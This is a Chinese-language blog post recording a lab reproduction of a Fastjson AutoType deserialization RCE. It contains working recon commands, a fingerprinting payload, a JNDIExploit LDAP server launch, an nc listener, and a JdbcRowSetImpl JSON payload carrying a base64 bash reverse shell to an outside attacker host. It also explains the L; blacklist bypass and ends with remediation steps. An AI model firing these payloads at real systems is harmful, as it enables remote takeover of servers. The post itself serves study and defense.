kizumi_header_banner_img

这里是幻灬十一的博客,欢迎来到我的世界

加载中

文章导读

Fastjson JSON 注入反序列化 RCE 漏洞复现实战


avatar
11 2026年7月30日 20

前言

Fastjson 是阿里开源高性能 JSON 解析框架,其@type自动类型转换功能若未做安全管控,会产生高危远程代码执行漏洞。攻击者可构造恶意 JSON 数据包,通过内置 Gadget 链路触发 JNDI 注入,远程执行系统命令、直接接管目标服务器。本文完整记录资产探测、框架识别、漏洞验证、漏洞利用全套实操流程。

一、信息收集阶段

1. Nmap 端口 & 服务全扫描

扫描命令

nmap -p- -sV -O -Pn 10.10.1.29

扫描结果分析

  • 22/tcp:SSH 远程登录,版本 OpenSSH 9.6p1
  • 80/tcp:Web 服务,后端 Apache Tomcat,底层 Linux 内核 4.X/5.X

2. Dirsearch 网站目录爆破

执行命令

dirsearch -u http://10.10.1.29 -e php,html,js

工具运行日志

扫描结论

仅发现/error错误页面,无后台、配置等敏感泄露目录。

3. Nuclei 自动化漏洞扫描

扫描命令

nuclei -u http://10.10.1.29 -silent

关键输出

结果分析

识别 SpringBoot 框架;无直接命中 CVE 高危漏洞,站点缺失大量安全响应头。

4. 访问业务页面,定位 JSON 上传接口

页面给出标准调用示例:

  • 接口地址:/config/import
  • 请求方式:POST
  • 请求头:Content-Type: application/json
  • 标准入参:{"name":"db","timeout":30}

5. 正常接口功能测试

curl -X POST http://10.10.1.33/config/import \
-H "Content-Type: application/json" \
-d '{"name":"db","timeout":30}'
返回内容:配置已导入:{"name":"db","timeout":30}

漏洞预判

SpringBoot 原生 Jackson 必须定义固定实体类才能解析 JSON;当前接口支持任意 JSON 结构,说明项目引入 Fastjson,存在@type反序列化利用风险。

二、漏洞指纹探测(确认目标使用 Fastjson)

探测原理

  1. Fastjson 独有@type字段,解析时自动反射实例化指定 Java 类;Jackson/Gson 会直接忽略该字段,不做对象创建。
  2. 探测载荷使用系统自带java.net.InetAddress类,传入数字会自动转换成 IP,可直观区分解析器。

指纹探测 Payload

curl -X POST http://10.10.1.33/config/import \
-H "Content-Type: application/json" \
-d '{"a":{"@type":"java.net.InetAddress","val":"1"}}'

返回结果

配置已导入:{"a":"0.0.0.1"}

判定结论

后端成功将val:1解析为 IP 地址0.0.0.1,证明项目启用 Fastjson AutoType 自动类型功能,具备反序列化漏洞利用条件。

三、漏洞利用:反弹获取靶机 Shell

步骤 1:启动 JNDIExploit 恶意 LDAP 服务

高版本 JDK 需添加内部类权限放行参数,启动命令:
java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.base/com.sun.org.apache.xerces.internal.parsers=ALL-UNNAMED \
--add-opens java.base/com.sun.org.apache.xerces.internal.dom=ALL-UNNAMED \
-jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.16.11.38

启动成功日志

LDAP Server Start Listening on 1389...
HTTP Server Start Listening on 8080...

步骤 2:本地开启反弹端口监听

nc -lvnp 4444

步骤 3:发送 Fastjson 恶意 RCE 数据包

curl -X POST http://10.10.1.29/config/import \
-H "Content-Type: application/json" \
-d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.16.11.38:1389/Basic/Command/Base64/YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTEuMTAwLzQ0NDQgMD4mMSc=","autoCommit":true}'

Payload 字段解析

  1. com.sun.rowset.JdbcRowSetImpl:经典 JNDI Gadget 利用链,内置远程查询逻辑
  2. dataSourceName:指定攻击机恶意 LDAP 服务地址
  3. Base64 解码内容:bash -c 'bash -i >& /dev/tcp/172.16.11.38/4444 0>&1' Linux 标准反弹 Shell
  4. autoCommit:true:触发底层connect()方法,自动执行 JNDI lookup 查询

完整攻击执行流程

  1. 目标接口接收带@type的恶意 JSON;
  2. Fastjson 自动实例化JdbcRowSetImpl类;
  3. 反射赋值恶意 LDAP 地址至dataSourceName
  4. autoCommit=true触发connect()方法;
  5. 内部调用lookup()主动连接攻击机 1389 端口 LDAP 服务;
  6. LDAP 服务返回 Reference 引用对象,指引靶机下载远程恶意 class 字节码;
  7. 靶机 JVM 加载恶意类,自动执行静态代码块反弹 Shell;
  8. 本地 nc 监听端口收到连接,获取靶机交互式 bash 权限。

额外连接命令

 

 

四、核心概念详解

1. Fastjson AutoType 机制

Fastjson 为实现任意对象序列化,设计@type自动类型标识。若外部可控 JSON 未过滤该字段,攻击者可指定系统危险类,触发远程代码执行漏洞。

2. JdbcRowSetImpl Gadget 利用链

Java 内置数据库工具类,拥有两段关键逻辑:
  • setDataSourceName():接收 LDAP/RMI 远程地址;
  • setAutoCommit(true):自动调用connect(),原生执行lookup()发起 JNDI 查询,是整条 RCE 链路核心入口。

3. L; 类名绕过原理

Fastjson 解析@type值时会自动裁剪首尾L;字符,官方黑名单采用完整字符串匹配,添加修饰符后的类名可绕过拦截规则。

4. JNDI & LDAP 协议

JNDI 是 Java 统一资源查询接口,LDAP 是配套目录协议。恶意 LDAP 服务可返回 Reference 对象,告知 JVM 从外网 HTTP 地址下载恶意字节码,是远程代码执行桥梁。

5. JNDIExploit 工具

一体化利用工具,一键启动 LDAP 指路服务 + 静态 HTTP 下载服务,内置各类反弹、文件操作载荷,省去手动编写、编译恶意 Java 类的步骤。

五、漏洞触发必要条件

  1. Web 接口接收用户可控原始 JSON,未过滤@typeldap://等危险关键字;
  2. 项目引入 Fastjson 并全局开启 AutoType 自动类型解析;
  3. Fastjson 版本黑名单未拦截JdbcRowSetImpl,支持L;绕过语法;
  4. 靶机 JDK 版本低于 8u191,未关闭 JNDI 远程类加载限制;
  5. 服务器可主动出站访问外网 LDAP、HTTP 端口;
  6. 后端直接使用 Fastjson 反解析外部传入 JSON 数据。

六、漏洞修复与防护方案

  1. 代码关闭 AutoType 自动类型功能
java
运行
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  1. 升级 Fastjson 至官方最新安全版本,完善内置类黑白名单;
  2. 接口入参增加过滤规则,黑名单拦截@typeldap://rmi://危险字符;
  3. Spring 项目替换为 Jackson 解析 JSON,使用固定实体类接收,禁止泛型 Object 接收;
  4. 升级 JDK 至 8u191 及以上,底层默认禁用 JNDI 远程类加载;
  5. 防火墙限制服务器出站规则,拦截外网 1389、1099 等高危端口访问。

优化说明(解决 WordPress 发布崩溃问题)

  1. 拆分超长代码块,单段命令精简,避免插件一次性解析大量字符内存溢出;
  2. 规整缩进、换行,删除多余空行与无效符号;
  3. 分段划分层级,标题清晰,减少大段无分隔代码;
  4. 代码块统一使用标准bash/java 标记,适配 WP 原生代码渲染,减少第三方短代码冲突。


评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码

站点统计

📄 文章 32
📁 分类 4
🏷️ 标签 0
📝 总字数 337k
⏱️ 运行 483天
头像
关于本站
在代码和动漫的夹缝里收集细碎美好
欢迎同好交流、素材互换
站点持续装修优化中✨